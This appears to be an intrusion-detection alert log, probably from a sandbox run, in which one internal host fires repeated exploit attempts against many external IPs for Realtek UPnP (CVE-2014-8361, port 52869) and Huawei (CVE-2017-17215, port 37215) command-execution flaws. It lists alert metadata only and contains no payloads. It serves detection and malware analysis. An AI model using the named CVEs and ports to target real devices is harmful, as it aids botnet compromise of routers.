SID:	2027339
Source Port:	41020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.77.223.88

Timestamp:	07/20/24-23:01:44.968238
SID:	2027339
Source Port:	50916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.218.16

Timestamp:	07/20/24-23:00:59.185032
SID:	2829579
Source Port:	60908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.176.80

Timestamp:	07/20/24-23:01:44.826234
SID:	2027339
Source Port:	36994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.132.188.245

Timestamp:	07/20/24-23:01:10.770014
SID:	2025132
Source Port:	56962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.191.12.65

Timestamp:	07/20/24-23:01:47.062116
SID:	2025132
Source Port:	33920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.95.241.47

Timestamp:	07/20/24-23:01:41.258403
SID:	2027339
Source Port:	41176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.233.35.58

Timestamp:	07/20/24-23:01:45.060540
SID:	2025132
Source Port:	45630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.114.3.131

Timestamp:	07/20/24-23:01:08.632574
SID:	2831300
Source Port:	41520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.136.141.166

Timestamp:	07/20/24-23:01:07.022763
SID:	2829579
Source Port:	57968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.108.207.220

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	47260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.55.199.122

Timestamp:	07/20/24-23:01:42.664090
SID:	2027339
Source Port:	58386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.213.252.233

Timestamp:	07/20/24-23:02:06.393178
SID:	2025132
Source Port:	37356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.241.141.173

Timestamp:	07/20/24-23:01:25.001980
SID:	2025132
Source Port:	40936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.187.5.172

Timestamp:	07/20/24-23:01:08.582150
SID:	2027339
Source Port:	50248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.68.195.20

Timestamp:	07/20/24-23:01:13.192248
SID:	2025132
Source Port:	60782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.42.244.253

Timestamp:	07/20/24-23:01:44.469869
SID:	2025132
Source Port:	53226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.243.193.156

Timestamp:	07/20/24-23:01:01.443835
SID:	2027339
Source Port:	52384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.216.180.24

Timestamp:	07/20/24-23:01:41.991545
SID:	2027339
Source Port:	48104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.45.42.138

Timestamp:	07/20/24-23:01:08.668802
SID:	2027339
Source Port:	37334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.100.183.132

Timestamp:	07/20/24-23:02:11.791090
SID:	2027339
Source Port:	44728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.68.114

Timestamp:	07/20/24-23:00:59.218458
SID:	2829579
Source Port:	51490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.90.160.227

Timestamp:	07/20/24-23:01:43.135090
SID:	2027339
Source Port:	45490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.34.254.148

Timestamp:	07/20/24-23:02:17.128771
SID:	2027339
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.133.17.143

Timestamp:	07/20/24-23:01:59.292118
SID:	2831300
Source Port:	58552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.86.15.181

Timestamp:	07/20/24-23:01:53.432917
SID:	2025132
Source Port:	36590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.218.208.52

Timestamp:	07/20/24-23:02:01.256493
SID:	2027339
Source Port:	38542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.36.101.44

Timestamp:	07/20/24-23:01:20.599458
SID:	2027339
Source Port:	37604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.211.16.76

Timestamp:	07/20/24-23:01:45.053180
SID:	2025132
Source Port:	51216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.137.24.94

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	37116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.199.110.98

Timestamp:	07/20/24-23:01:10.251070
SID:	2027339
Source Port:	37010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.63.97.204

Timestamp:	07/20/24-23:01:47.726021
SID:	2027339
Source Port:	41158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.153.118.82

Timestamp:	07/20/24-23:01:31.978142
SID:	2829579
Source Port:	58734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.30.194.82

Timestamp:	07/20/24-23:01:42.374543
SID:	2025132
Source Port:	54338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.215.7.68

Timestamp:	07/20/24-23:01:43.607934
SID:	2025132
Source Port:	51514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.5.49.194

Timestamp:	07/20/24-23:01:48.275988
SID:	2025132
Source Port:	48426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.136.141.197

Timestamp:	07/20/24-23:01:02.299793
SID:	2027339
Source Port:	45716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.202.155.168

Timestamp:	07/20/24-23:01:53.066716
SID:	2831300
Source Port:	44782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.55.184.24

Timestamp:	07/20/24-23:01:59.850516
SID:	2027339
Source Port:	56446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.154.142.187

Timestamp:	07/20/24-23:01:58.460651
SID:	2027339
Source Port:	39324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.131.130.12

Timestamp:	07/20/24-23:01:08.574948
SID:	2027339
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.161.24.118

Timestamp:	07/20/24-23:01:41.392528
SID:	2025132
Source Port:	53270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.11.202

Timestamp:	07/20/24-23:01:07.062666
SID:	2835222
Source Port:	48206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.138.8.92

Timestamp:	07/20/24-23:01:43.328792
SID:	2025132
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.33.84.180

Timestamp:	07/20/24-23:01:48.924853
SID:	2027339
Source Port:	39902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.84.86.167

Timestamp:	07/20/24-23:01:50.131564
SID:	2025132
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.64.30.154

Timestamp:	07/20/24-23:02:08.135557
SID:	2027339
Source Port:	53152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.76.102.214

Timestamp:	07/20/24-23:01:12.806645
SID:	2831300
Source Port:	40026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	07/20/24-23:01:01.630356
SID:	2027339
Source Port:	56840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.58.156

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.19.255.66

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	34808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.108.63

Timestamp:	07/20/24-23:00:57.222207
SID:	2829579
Source Port:	34718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.40.249.193

Timestamp:	07/20/24-23:01:47.535939
SID:	2025132
Source Port:	53784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:52.242138
SID:	2831300
Source Port:	47118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.128.73.171

Timestamp:	07/20/24-23:01:42.727936
SID:	2025132
Source Port:	43048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.163.211.196

Timestamp:	07/20/24-23:01:45.827400
SID:	2831300
Source Port:	41062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.80.169.189

Timestamp:	07/20/24-23:01:57.297792
SID:	2025132
Source Port:	54704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.40.176.32

Timestamp:	07/20/24-23:01:08.684499
SID:	2831300
Source Port:	45804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.112.254.56

Timestamp:	07/20/24-23:01:08.578116
SID:	2027339
Source Port:	33938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 123.227.180.114

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	41132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.211

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	43708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.226.237.113

Timestamp:	07/20/24-23:01:45.500918
SID:	2025132
Source Port:	39794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.102.32.106

Timestamp:	07/20/24-23:01:43.203681
SID:	2025132
Source Port:	39616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.225.243.103

Timestamp:	07/20/24-23:01:47.692050
SID:	2027339
Source Port:	42114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.75.190.2

Timestamp:	07/20/24-23:01:52.826575
SID:	2831300
Source Port:	47194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.225.20.24

Timestamp:	07/20/24-23:01:53.357099
SID:	2831300
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.47.119

Timestamp:	07/20/24-23:01:34.043964
SID:	2835222
Source Port:	48498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.117.12.122

Timestamp:	07/20/24-23:01:45.947642
SID:	2831300
Source Port:	56402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.246.241.121

Timestamp:	07/20/24-23:02:01.280564
SID:	2027339
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.97.254.151

Timestamp:	07/20/24-23:01:58.945733
SID:	2027339
Source Port:	51978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 73.50.29.53

Timestamp:	07/20/24-23:01:49.040108
SID:	2831300
Source Port:	60648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.122.121.121

Timestamp:	07/20/24-23:01:45.923449
SID:	2025132
Source Port:	38996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.36.26.52

Timestamp:	07/20/24-23:01:56.910590
SID:	2831300
Source Port:	46702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.80.210.12

Timestamp:	07/20/24-23:01:01.363756
SID:	2027339
Source Port:	45268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.176.193.82

Timestamp:	07/20/24-23:01:08.597662
SID:	2831300
Source Port:	50536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.218.4.185

Timestamp:	07/20/24-23:02:00.868779
SID:	2027339
Source Port:	43666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.49.153.25

Timestamp:	07/20/24-23:01:41.340201
SID:	2025132
Source Port:	56924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.210.25.215

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	37938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	07/20/24-23:01:01.157005
SID:	2027339
Source Port:	44414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 38.140.206.136

Timestamp:	07/20/24-23:01:04.212553
SID:	2835222
Source Port:	40552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.63.234.192

Timestamp:	07/20/24-23:01:08.565610
SID:	2831300
Source Port:	50034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.32.87.120

Timestamp:	07/20/24-23:01:31.320679
SID:	2831300
Source Port:	50886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.135.72.216

Timestamp:	07/20/24-23:01:41.474539
SID:	2025132
Source Port:	49394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.218.156.193

Timestamp:	07/20/24-23:01:42.592736
SID:	2027339
Source Port:	35520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.98.158.86

Timestamp:	07/20/24-23:01:06.996056
SID:	2835222
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.237.109.125

Timestamp:	07/20/24-23:01:46.158533
SID:	2027339
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.28.251.253

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	59666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 102.22.43.107

Timestamp:	07/20/24-23:01:42.437265
SID:	2831300
Source Port:	56658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.25.190.68

Timestamp:	07/20/24-23:01:44.514415
SID:	2831300
Source Port:	40638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.115.124.156

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	34864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.80.144.32

Timestamp:	07/20/24-23:01:10.763630
SID:	2027339
Source Port:	36860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.170.117.213

Timestamp:	07/20/24-23:01:31.314147
SID:	2831300
Source Port:	58588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.158.187.83

Timestamp:	07/20/24-23:01:02.755930
SID:	2027339
Source Port:	44056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.102.199.133

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.208.110.238

Timestamp:	07/20/24-23:01:04.621319
SID:	2027339
Source Port:	49808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.196.10.52

Timestamp:	07/20/24-23:01:44.838946
SID:	2831300
Source Port:	47026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.194.41.40

Timestamp:	07/20/24-23:01:08.634900
SID:	2831300
Source Port:	48196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.211.74.184

Timestamp:	07/20/24-23:01:55.105161
SID:	2027339
Source Port:	40332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.73.158

Timestamp:	07/20/24-23:01:34.045144
SID:	2835222
Source Port:	40918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

